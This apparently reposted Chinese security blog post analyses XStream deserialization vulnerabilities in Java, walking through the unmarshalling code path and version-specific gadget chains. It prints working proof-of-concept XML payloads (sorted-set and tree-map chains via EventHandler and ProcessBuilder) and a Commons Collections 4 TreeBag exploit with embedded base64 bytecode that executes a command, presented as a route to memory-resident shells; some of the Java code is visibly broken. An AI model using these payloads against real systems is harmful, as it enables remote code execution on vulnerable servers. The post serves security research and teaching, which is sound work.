Xtream反序列化

admin 2025年5月16日00:29:52评论2 views字数 10819阅读36分3秒阅读模式

简介

XStream 是一个 Java 序列化/反序列化库,用于在 Java 对象和 XML(或 JSON)之间进行转换。它非常适合需要将对象保存为 XML 或从 XML 构建对象的场景。


反序列化的原理:

核心原理:

XML → XML Reader → TreeUnmarshaller → Converter → Java 对象

示例分析:

测试类:

package org.example.xtream_test;

public class Person {
    private String name;
    private int age;

    // 必须有无参构造方法
    public Person() {}

    public Person(String nameint age) {
        this.name = name;
        this.age = age;
    }

    // getters 和 setters
    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return age; }
    public void setAge(int age) { this.age = age; }
}

Main:

package org.example.xtream_test;

import com.thoughtworks.xstream.XStream;

public class main {
    public static void main(String[] args) {
        Person person = new Person("张三"30);

        // 创建 XStream 实例
        XStream xStream = new XStream();

        // 序列化(对象 -> XML)
        xStream.alias("person", Person.class);  //指定别名 (Alias) 防止序列化带有org.example.xtream_test字段
        String xml = xStream.toXML(person);
        System.out.println(xml);

        // 创建 XStream 实例

        // 反序列化(XML -> 对象)
        Person person1 = (Person) xStream.fromXML(xml);
        System.out.println(person1.getName());  // 输出: 张三
        System.out.println(person1.getAge());   // 输出: 30
    }
}

分析demo反序列化源码:

Xtream反序列化

Class type = HierarchicalStreams.readClassType(this.reader, this.mapper); 拿到第一个标签下的对象类型了。

在调用Object result = this.convertAnother((Object)null, type);去对第一个标签下的类型进行其他逻辑

Xtream反序列化
Xtream反序列化
Xtream反序列化

而这个是根据获取到的Type类型进行选着(上述为匹配类型不在就)解析器 converter = this.converterLookup.lookupConverterForType(type); ,当前我们的标签是自己的类,所以stream选择了DefaultconverterLookup 构造器。

Xtream反序列化
Xtream反序列化
Xtream反序列化
Xtream反序列化

最后反射去实例化了我们的peson类。整个逻辑比较复杂,多是处理标签的代码,处理完毕后在通过反射的方式去实例化类和成员属性等……

Xtream反序列化

XStream 1.4.7 之后引入了安全机制,必须显式允许哪些类可以进行反序列化。

XStream xStream = new XStream();
XStream.setupDefaultSecurity(xStream);
xStream.allowTypes(new Class[]{Person.class, Address.class});

定义了那些类可以进行反序列化。

前置知识:

Y4哥说到了xtream的二比较重要的知识

EventHandler类

EventHandler类是实现了InvocationHandler的一个类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接

EventHandler类定义的代码如下,其含有targetaction属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用

public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
        try {
            return bounce.invoke((Object)null, var0, var1, var2);
        } catch (InvocationTargetException var5) {
            Throwable var4 = var5.getCause();
            if (var4 instanceof InvocationTargetException) {
                throw (InvocationTargetException)var4;
            } else if (var4 instanceof IllegalAccessException) {
                throw (IllegalAccessException)var4;
            } else if (var4 instanceof RuntimeException) {
                throw (RuntimeException)var4;
            } else if (var4 instanceof Error) {
                throw (Error)var4;
            } else {
                throw new Error("Unexpected invocation error", var4);
            }
        } catch (IllegalAccessException var6) {
            throw new Error("Unexpected invocation error", var6);
        }
    }

从这种结构来看也是给在反序列化这个类的时候只要触发对应的invoke就会再次触发invoke任意方法,这也是为啥poc最后打的是EventHandler类,其实在挖掘新的xtream链我们可以偏向于可控的invoke方法

Converter转换器

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

canConvert方法:告诉XStream对象,它能够转换的对象;

marshal方法:能够将对象转换为XML时候的具体操作;

unmarshal方法:能够将XML转换为对象时的具体操作;

具体参考:http://x-stream.github.io/converters.html

POC分析

本地demo:

public static void main(String[] args) throws Exception{
            String path =  System.getProperty("user.dir");
            File file = new File(path + "/payload.txt");
            System.out.println("尝试读取路径:" + file.getAbsolutePath());
            System.out.println("文件是否存在?" + file.exists());
            FileInputStream fileInputStream = new FileInputStream(file);

            XStream xStream = new XStream(new DomDriver()); //随便放谁new
            xStream.fromXML(fileInputStream);
        }

1.sorted-set

影响版本

1.4.5,1.4.6,1.4.10

分析

经典调用计算器

<sorted-set>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

调用Xtream下的fromXml并进入本类下的unmarshal()方法,而方法下内this.hierarchicalStreamDriver.createReader(input) 只是将我们的输入的东西转化为输入流,方便读取

Xtream反序列化

跟入内部的逻辑,连续调用了几次unmarsal方法才进入的TreeUnmarshaller#start() (TreeUnmarshaller 是 XStream 中的“反序列化引擎”,它根据 XML 节点结构构造 Java 对象。)

Xtream反序列化

发现会调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型,进入到最最最父类下的aliasForSystemAttribute 方法

Xtream反序列化

最终在com.thoughtworks.xstream.mapper.CachingMapper#realClass找到了java.util.SortedSet

Xtream反序列化
Xtream反序列化

接着是调用convertAnother()函数对java.util.SortedSet类型进行转换,我们跟进去该函数,其中调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换为了java.util.TreeSet类型

Xtream反序列化

接着看到调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器,可以看到这里的逻辑是,迭代this.converters,直到找到能转换出TreeSet类型

Xtream反序列化

后半段啰嗦且烦躁,看一眼堆栈吧

Xtream反序列化

大致逻辑就是所有的类都实例化好了,开始组装了,攻击一开始发现的估计是控制sorted-set 使用TreeSet构造器处理。后面就是利用TreaMapputAll会触发compase

调用链:

sorted-set --> TreeSetConverter#unmarshal
TreeMapConverter#populateTreeMap
TreeMap#putAll
AbstractMap#put
TreeMap#compare
#compareTo
EventHandler#invokeInternal

其他说明

在小于等于1.3.1版本,运行报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

在1.4-1.4.5版本无法触发的原因

在TreeSetConverter.unmarshal()中,只有当sortedMapField和treeMap不为null时,才能进入populateTreeMap()

Xtream反序列化

而在1.4-1.4.4版本中,sortedMapField默认为null,因此无法成功利用,这里以1.4.4版本为例

Xtream反序列化

在1.4.7-1.4.9版本中,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

2.tree-map

适用范围

版本<=1.4.6或=1.4.10

分析

和sorted-map差不多,直接给payload

<tree-map>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>open</string>
                        <string>-na</string>
                        <string>Calculator</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

其他说明

唯一与sorted-set有点区别的地方就是,在com.thoughtworks.xstream.converters.collections.TreeMapConverter#unmarshal,可以看到没有TreeSetConverter那么多的限制

Xtream反序列化

在<=1.3.1版本的当中

会报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

在1.4.7-1.4.9版本,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

内存马研究

依赖版本:

xstream <= 1.4.17

可以配合着去打反序列化链子如CC4,通过base64的方式写入字节码

public class main {
    public static void setFieldValue(Object obj, String fieldName, Object valuethrows Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] argsthrows Exception {
       //TemplatesImpl 字节码改造
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("i");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        //constructor.setBody("Runtime.getRuntime().exec("calc.exe");");
        byte[] bytes = Files.readAllBytes(Paths.get("src/main/java/org/example/calc.class"));
        //byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        exp2.setFieldValue(templates, "_bytecodes"new byte[][]{bytes});
        exp2.setFieldValue(templates, "_name""a");
        exp2.setFieldValue(templates, "_tfactory"new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());

        // 结合 ChainedTransformer
        org.apache.commons.collections4.functors.InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        org.apache.commons.collections4.functors.ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));//传入假的,防止add弹

        // TreeBag 会在添加元素时调用 compare,从而触发链
        TreeBag<Objectbag = new TreeBag<>(transformingComparator);
        bag.add(1);
        bag.add(1);  // 添加重复值触发比较
        //关键点,要暴力反射把fnial属性强制改了transformerChain中的iTransformers
        setFieldValue(transformingComparator, "transformer", chainedTransformer);


        Map<ObjectObjectmap = new HashMap<>();
        map.put(new URL("http://cb4kji.dnslog.cn"), "x");


        // 创建 XStream 实例
        XStream xStream = new XStream();

        // 序列化(对象 -> XML)
        //xStream.alias("TreeBag", TreeBag.class);
        String xml = xStream.toXML(bag);
        System.out.println(xml);
   }
}

exp:

<org.apache.commons.collections4.bag.TreeBag serialization="custom">
  <unserializable-parents>
    <size>2</size>
  </unserializable-parents>
  <org.apache.commons.collections4.bag.TreeBag>
    <default/>
    <org.apache.commons.collections4.comparators.TransformingComparator>
      <decorated class="org.apache.commons.collections4.comparators.ComparableComparator"/>
      <transformer class="org.apache.commons.collections4.functors.ChainedTransformer">
        <iTransformers>
          <org.apache.commons.collections4.functors.ConstantTransformer>
            <iConstant class="java-class">com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter</iConstant>
          </org.apache.commons.collections4.functors.ConstantTransformer>
          <org.apache.commons.collections4.functors.InstantiateTransformer>
            <iParamTypes>
              <java-class>javax.xml.transform.Templates</java-class>
            </iParamTypes>
            <iArgs>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>a</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADQAGQEAAWkHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs
dGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQAR
amF2YS9sYW5nL1J1bnRpbWUHAAgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7
DAAKAAsKAAkADAEACGNhbGMuZXhlCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph
dmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmls
ZQEABmkuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAA
AAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                  <boolean>false</boolean>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </iArgs>
          </org.apache.commons.collections4.functors.InstantiateTransformer>
        </iTransformers>
      </transformer>
    </org.apache.commons.collections4.comparators.TransformingComparator>
    <int>1</int>
    <int>1</int>
    <int>2</int>
  </org.apache.commons.collections4.bag.TreeBag>
</org.apache.commons.collections4.bag.TreeBag>
Xtream反序列化

注意项就是要保证:

clas文件继承:

AbstractTranslet

编译命令:

javac -XDignore.symbol.file Calc.java

测试中可以稳妥打内存马的利用组件CC3.1~3.2.1,CC4,CB

写的比较匆忙,内容上还是有些不足望大家理解

原文始发于微信公众号(T3Ysec):Xtream反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月16日00:29:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Xtream反序列化https://cn-sec.com/archives/4069918.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息